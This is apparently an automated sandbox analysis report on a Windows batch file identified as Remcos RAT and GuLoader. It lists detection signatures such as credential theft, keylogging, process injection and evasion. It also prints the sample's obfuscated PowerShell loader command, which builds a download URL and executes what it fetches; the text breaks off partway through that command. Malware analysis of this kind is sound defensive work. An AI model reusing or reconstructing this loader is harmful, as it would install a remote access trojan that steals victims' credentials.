Edit tour
Windows
Analysis Report
rIMGTR657365756.bat
Overview
General Information
Detection
Remcos, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Installs a global keyboard hook
Maps a DLL or memory area into another process
Queues an APC in another process (thread injection)
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Writes to foreign memory regions
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Suspicious Copy From or To System Directory
Sleep loop found (likely to delay execution)
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- cmd.exe (PID: 2928 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\rIMGT R657365756 .bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2860 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5576 cmdline:
powershell .exe -wind owstyle hi dden " <#B uttresslik e Egenskab svinduets Whirlmagee sunkne Ta ngibilitie s Skivgatt erne Unpea cefully #> ;$hypogeal ='Byggemod nedes';<#g rasping Pe destrianis ing Kardon #>;$Untro ubledly=$T elegrammes +$host.UI; function T aborets($B oejer){If ($Untroubl edly) {$Ba ljers++;}$ Sirenize=$ Abintestat e+$Boejer. 'Length'-$ Baljers; f or( $Furca ted=4;$Fur cated -lt $Sirenize; $Furcated+ =5){$preid entificati on++;$Nedl gger+=$Boe jer[$Furca ted];$Frue hauf='Klud ging';}$Ne dlgger;}fu nction Pol itiseres($ Antiopelmo us){ & ($Glassine ) ($Antiop elmous);}$ Furcatedrr efragabili ty=Taboret s 'UnmoM s phoLarrzEk sai Udal k nlBloda un d/Magn ';$ Furcatedrr efragabili ty+=Tabore ts 'Besv5T r c.gran0j am util(St roWSkadisk annHattd o wloUrdswBu ssTils Gr unNV,siTla n, Kand1Af tn0Zith. B op0Turb;Ov er IntW Tr aiTougnE t e6Temp4Aar g;e nf n g gxGalo6Lia n4Roeg;Lol Drecr Res v Bi :Pent 1Rose3 Ext 1 kod. C f 0Arma)H ma SubfGsulf eMinucStan k BedoE sp / S.a2E,he 0 mac1Tilf 0Pine0Bogt 1Pent0 Til 1Te e AfsF orki Frer GrafeKl sf I deoka mx Ungd/Clod1 Lady3.zil1 Omri.o sm0 Misk ';$Dr ikkevandsf orsyninger =Taborets 'Camaublge SCe teCahi r P a-Tele AParegKoms e OpsNTj,n tCent ';$E ngleskarer s=Taborets 'une hTur at yeltSno hpkinesd.l i:hexa/Lag d/ PhlmLip ai rneoUno vtSupetKil oRoupeTri ,zDos,a or un TrieFor blCec lR,d eaFdni. He ncLa.roRem amSter/Spu rH HjeoFin dv DoleMor idThervEm artradkcon se TaatNed s.Renlr ru aM ltrSpor ';$Genhre t=Taborets ' ppe>Eme r ';$Glass ine=Tabore ts 'AarsI Ci,EPri.XK ard ';$Bal sameredes= 'Mangfoldi gste';$Liz beth='\asp argessuppe ns.Bri';Po litiseres (Taborets ' Su,$Kara gMareLBubo o FunbChor aKastlGray : PaltDeni HEmboIHype O DvrNStil EF,avI ogp nGrame Pol = Su $ For E GonNHjer vBleg: Gar A I opDisr pUnprDWho. ASt rTBl k A,krm+Inc $Na klFo,k iTan ZBatt bRe.reArka tNdudhRavi ');Politi seres (Tab orets 'alk o$Se vGHae mLLuftOOra lB RopaN m elOpda:Unc oS S.laA,l atFlosE ob sLCacqL lu nI Ci t ut hB RedyUns eEClosRBra uNTeksede rSNrin=Shr $RedbEopg rnT,buGPri vLSu aeS m vS HalkKab aa VenrS t eeB nkRSte .s,pip.Stn dSForsP hr elHjeri un dTHulk(Haa r$Surag so mE alfNRav gHCinnRC n te ogtBrne )Hand ');P olitiseres (Taborets ' Ove[Str iNAnkeePer sTKono.Lil lS StaEeks prs nhvInk piSygeCInv E epap.ur fOSubtI,ni anJahvtPse .mUnexaThe NTelea al GArgue Pla RErgo]Sate :Dist: lim S.asteGyde CCoppU enR Fa iiTildT Skr Y astp Enfr NedO d mptRipeO indCNon,o AutolAvne G.aa=Nona Regr[RefeN HypeEStraT gly .Ta.ls BnkbE Pr.C S eUc,mpr TamuiAntht EnciYStrap F.nr uzOS ekst IsooM vreCH anOA befLIsocTn is,YCyanpR etteL,mi]S ir:Nonc: IndTHvirL NedSMoon1P leb2D nk ' );$Englesk arers=$Sat ellitbyern es[0];$Fag